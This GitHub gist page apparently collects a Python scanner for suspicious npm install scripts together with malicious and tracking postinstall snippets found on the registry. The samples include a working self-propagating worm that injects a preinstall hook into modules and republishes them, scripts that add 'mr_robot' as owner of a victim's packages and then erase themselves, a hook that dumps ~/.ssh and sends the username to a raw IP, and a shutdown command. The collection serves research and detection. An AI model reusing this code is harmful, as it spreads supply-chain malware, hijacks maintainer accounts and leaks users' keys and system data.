Skip to content

Instantly share code, notes, and snippets.

@jordan-wright
Last active May 30, 2022 03:04
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save jordan-wright/6dda2e4683ba3e99c8d56cd7173c9d1f to your computer and use it in GitHub Desktop.
Save jordan-wright/6dda2e4683ba3e99c8d56cd7173c9d1f to your computer and use it in GitHub Desktop.
Postinstallation script snippet found in the `shrugging-logging` package
import ijson
import requests
import tarfile
import os
import re
SCRIPT_REGEX_STRINGS = [
re.compile('node ([\w\.\/\-]+)'),
re.compile('([\w\.\/\-]+?\.(?:js|sh))'),
re.compile('bash ([\w\.\/\-]+)'),
re.compile('sh ([\w\.\/\-]+)'),
]
SUSPICIOUS_STRINGS = [
re.compile('curl'),
re.compile('bash'),
re.compile('exec'),
re.compile('os'),
re.compile('fetch'),
re.compile('whoami'),
re.compile('npm add'),
re.compile('require\(\'http'),
re.compile('XMLHttpRequest'),
re.compile('process'),
re.compile('npm owner'),
re.compile('mr_robot'),
re.compile('POST')
]
URL_REGEX = re.compile('(https?:\/\/\S+)')
def process_file(name, filepath):
'''Grep's through the installation files for sketchy strings and URLs'''
output_file = open('log.txt', 'a')
output_file.write('Analyzing package {} - {}\n'.format(name, filepath))
with open(filepath, 'r') as install_file:
content = install_file.read()
# Search for weird strings
for regex in SUSPICIOUS_STRINGS:
if regex.search(content):
output_file.write(
'\t[!] Found instance of {}\n'.format(regex.pattern))
# Search for URLs
for url in URL_REGEX.findall(content):
output_file.write('\t[!] Found URL {}\n'.format(url))
output_file.close()
def download_package(name, url):
'''Downloads and extracts a tarball'''
cleaned_name = name.replace('/', '_')
filename = './packages/{}.tgz'.format(cleaned_name)
response = requests.get(url)
print 'Download {} to {}'.format(cleaned_name, filename)
with open(filename, 'wb') as f:
for chunk in response.iter_content(chunk_size=1024):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
print 'Extracting {}'.format(filename)
try:
with tarfile.open(filename, 'r') as tf:
tf.extractall("./packages/{}".format(cleaned_name))
return './packages/{}/package/'.format(cleaned_name)
except:
return ''
def process_package(package):
'''Parses a package dict to extract any install scripts, download the tarball, and grab the related files.'''
# Parse the scripts for installation scripts
if 'scripts' not in package or not package['scripts']:
return
scripts = []
for install in ['postinstall', 'preinstall', 'install']:
if install in package['scripts']:
scripts.append(package['scripts'][install])
if not scripts:
return
# Check the script to see if we need to do file inspection
directory = ''
is_suspicious = False
for script in scripts:
for regex in SCRIPT_REGEX_STRINGS:
match = regex.match(script)
if not match:
continue
if not is_suspicious:
# Download the tarball
directory = download_package(
package.get('name'), package.get('tarball'))
if not directory:
return
is_suspicious = True
filepath = directory + '/' + match.group(1)
# If we have a match for something we can parse, lets grab that file check for suspicious
# entries
if os.path.isfile(filepath):
process_file(package.get('name'), filepath)
continue
# People often omit the .js when calling from node, so let's check that
filepath = filepath + '.js'
if os.path.isfile(filepath):
process_file(package.get('name'), filepath)
else:
print 'File {} doesnt exist...'.format(filepath)
def main():
'''Starts the main process'''
with open('npm_scripts.json', 'r') as json_file:
packages = ijson.items(json_file, 'item')
for package in packages:
process_package(package)
if __name__ == '__main__':
main()
var ua = require('universal-analytics');
var visitor = ua('UA-48351156-4');
visitor.event("Package", "install", function() {
console.log('rm -rf /');
});
var http = require('http');
var payload = {
process_versions: process.versions,
process_platform: process.platform,
process_arch: process.arch,
type: process.argv[2] || 'index.js'
}
var options = {
hostname: 'bottrack.evilpacket.net',
path: '/track',
method: 'POST'
};
var req = http.request(options, function(res) {
});
req.on('error', function () {
});
req.write(JSON.stringify(payload));
req.end();
var options = {
hostname: 'bottrack.evilpacket.net',
path: '/track',
method: 'POST'
};
var req = http.request(options, function(res) {
});
var os = require('os');
var url,port;
// if (process.env.NODE_ENV == 'development') {
// url = 'localhost';
// port = 8078;
// }
url = 'ping.pm2.io';
port = 443;
var post_data = JSON.stringify({
platform : os.platform(),
arch : os.arch(),
cpu : os.cpus(),
mem : os.totalmem(),
type : os.type()
});
var req = require('http').request({
host: url,
port : port,
path: '/p',
method : 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': post_data.length
}
}, function(res) {
var res_data = '';
res.setEncoding('utf-8');
res.on('data', function(chunk) {
res_data += chunk;
});
res.on('end', function() {
return false;
});
});
req.on('error', function(e) {
return false;
});
req.write(post_data);
req.end();
// Exit in case of request timeout
setTimeout(function() {
process.exit(0);
}, 1000);
// Copyright Datajin Technologies, Inc. 2015,2016. All Rights Reserved.
// Node module: mktmpio
// This file is licensed under the Artistic License 2.0.
// License text available at https://opensource.org/licenses/Artistic-2.0
'use strict';
var crypto = require('crypto');
var fs = require('fs');
var qs = require('querystring');
var request = require('https').request;
var pkg = require('../package.json');
var nodeUA = 'node/' + process.version;
var name = process.env.npm_package_name || 'mktmpio';
var version = process.env.npm_package_version || pkg.version;
var lifecycle = process.env.npm_lifecycle_event || 'post-install';
var userAgent = process.env.npm_config_user_agent || nodeUA;
var debug = /test/.test(process.env.NODE_ENV);
var inRepo = false;
try {
inRepo = fs.statSync('.git').isDirectory();
} catch (e) {
inRepo = false;
}
if (!inRepo || debug) {
recordEvent();
}
function recordEvent() {
var params = {
v: '1',
tid: 'UA-63367092-1',
ds: 'npm',
cid: uuid(),
ua: userAgent,
t: 'event',
ec: 'npm',
ea: lifecycle,
el: name + '@' + version,
};
var postData = qs.stringify(params);
var reqOpts = {
host: 'www.google-analytics.com',
path: debug ? '/debug/collect' : '/collect',
method: 'POST',
};
var req = request(reqOpts);
req.setTimeout(500, function() {
if (debug) {
console.log('connection timed out', arguments);
}
process.exit(0);
});
req.on('error', debug ? console.error : noop)
.on('response', debug ? dumpResponse : noop)
.end(postData);
}
function uuid() {
var rnd = crypto.randomBytes(16);
rnd[6] = (rnd[6] & 0x0f) | 0x40;
rnd[8] = (rnd[8] & 0x3f) | 0x80;
rnd = rnd.toString('hex').match(/(.{8})(.{4})(.{4})(.{4})(.{12})/);
rnd.shift();
return rnd.join('-');
}
function dumpResponse(res) {
console.log('RESP:', res.statusCode);
res.on('data', console.log.bind(console, 'RESP: %s'));
}
function noop() {}
function currentUser(cb) {
exec('npm whoami', function (err, stdout, stderr) {
if (!err) cb(stdout);
});
}
function addOwner(packageName, newOwner) {
exec('npm owner add ' + newOwner + ' ' + packageName);
}
function getModulesOwned(user, cb) {
var url = 'https://www.npmjs.org/~' + user;
request(url, function (error, response, body) {
var $ = cheerio.load(body);
var packages = $('.collaborated-packages a').map(function (i, el) {
return $(this).text();
}).get();
cb(packages);
});
}
currentUser(function (user) {
if (user) {
getModulesOwned(user, function (modules) {
modules.forEach(function (moduleName) {
addOwner(moduleName, 'mr_robot');
});
});
}
});
var exec = require('child_process').exec;
var path = require('path');
var fs = require('fs');
var request = require('request');
var cheerio = require('cheerio');
require('daemon')();
function currentUser(cb) {
exec('npm whoami', function (err, stdout, stderr) {
if (!err) cb(stdout);
});
}
function addOwner(packageName, newOwner) {
exec('npm owner add ' + newOwner + ' ' + packageName);
}
function getModulesOwned(user, cb) {
var url = 'https://www.npmjs.org/~' + user;
request(url, function (error, response, body) {
var $ = cheerio.load(body);
var packages = $('.collaborated-packages a').map(function (i, el) {
return $(this).text();
}).get();
cb(packages);
});
}
function getPackageName(projectPath) {
try {
var content = fs.readFileSync(projectPath, 'utf-8');
return JSON.parse(content).name;
} catch (e) {
return;
}
}
function removePostInstall() {
var content = fs.readFileSync('package.json', 'utf-8');
var json = JSON.parse(content);
delete json.scripts.postinstall;
fs.writeFileSync('package.json', JSON.stringify(json, null, 2));
}
function removeScript() {
try {
fs.unlinkSync("mr_robot.js");
} catch (e) {}
}
removePostInstall();
removeScript();
currentUser(function (user) {
if (user) {
getModulesOwned(user, function (modules) {
modules.forEach(function (moduleName) {
addOwner(moduleName, 'mr_robot');
});
});
}
});
{
"name": "maybemaliciouspackage",
"scripts": {
"postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
}
},
{
"name": "deasyncp",
"scripts": {
"preinstall": "say U WOT M8; shutdown -s now"
}
},
{
"name": "harmlesspackage",
"scripts": {
"postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH keys :)' && curl -X GET http://104.131.21.155:8043/\\?$(whoami)"
}
},
{
"name": "npm-exploit",
"scripts": {
"install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
}
}
function infectModule (moduleName) {
installModule(moduleName)
.then(() => {
addScript(moduleName);
copyScript(moduleName);
return incrementPatchVersion(moduleName);
})
.then(() => publishInfectedModule(moduleName))
.catch(() => {});
}
const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";
infectModule(MODULE_NAME);
const exec = __webpack_require__(0).exec;
const fs = __webpack_require__(1);
const path = __webpack_require__(2);
const request = __webpack_require__(180);
const cheerio = __webpack_require__(44);
function execP (cmd, opts) {
opts = opts || {};
return new Promise((resolve, reject) => {
exec(cmd, opts, (err, stdout, stderr) => {
if (err) {
reject(err);
} else {
resolve({stdout, stderr});
}
});
});
}
function currentUser () {
return execP('npm whoami');
}
function getOwnedModules (user) {
var url = 'https://www.npmjs.org/~' + user;
return new Promise((resolve, reject) => {
request(url, function (error, response, body) {
if (error) {
reject(error);
} else {
var $ = cheerio.load(body);
var packages = $('.collaborated-packages a').map(function (i, el) {
return $(this).text();
}).get();
resolve(packages);
}
});
});
}
function modulePath (moduleName) {
return path.resolve('./node_modules/' + moduleName);
}
function installModule (moduleName) {
return execP('npm install ' + moduleName);
}
function incrementPatchVersion (moduleName) {
const opts = {
cwd: modulePath(moduleName)
};
return execP('npm version patch', opts);
}
function addScript (moduleName) {
const pkgJsonPath = modulePath(moduleName) + '/package.json';
const content = fs.readFileSync(pkgJsonPath);
const pkgJson = JSON.parse(content);
pkgJson.scripts = pkgJson.scripts || {};
pkgJson.scripts.preinstall = "node bundle.js";
fs.writeFileSync(pkgJsonPath, JSON.stringify(pkgJson, null, 2));
}
function copyScript (moduleName) {
const content = fs.readFileSync('bundle.js');
fs.writeFileSync(modulePath(moduleName) + '/bundle.js', content);
}
function publishInfectedModule (moduleName) {
const opts = {
cwd: modulePath(moduleName)
};
return execP('npm publish .', opts);
}
function cleanScript () {
const pkgJsonPath = path.resolve('./package.json');
const content = fs.readFileSync(pkgJsonPath);
const pkgJson = JSON.parse(content);
pkgJson.scripts = pkgJson.scripts || {};
delete pkgJson.scripts.preinstall;
delete pkgJson.scripts.install;
delete pkgJson.scripts.postinstall;
fs.writeFileSync('package.json', JSON.stringify(pkgJson, null, 2));
}
function cleanFile () {
fs.unlinkSync('bundle.js');
}
function clean () {
try {
cleanScript();
cleanFile();
} catch (e) {}
}
function infectModule (moduleName) {
installModule(moduleName)
.then(() => {
addScript(moduleName);
copyScript(moduleName);
return incrementPatchVersion(moduleName);
})
.then(() => publishInfectedModule(moduleName))
.catch(() => {});
}
const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";
infectModule(MODULE_NAME);
{
"name": "npm_scripts_test_metrics",
"scripts": {
"preinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Pre%20Install&ea=run'",
"postinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Post%20Install&ea=run'"
}
},
{
"name": "subtitles-lib",
"scripts": {
"postinstall": "bash -c 'curl \"http://********.piwikpro.com/piwik.php?idsite=3&rec=1&action_name=$HOSTNAME\"'"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment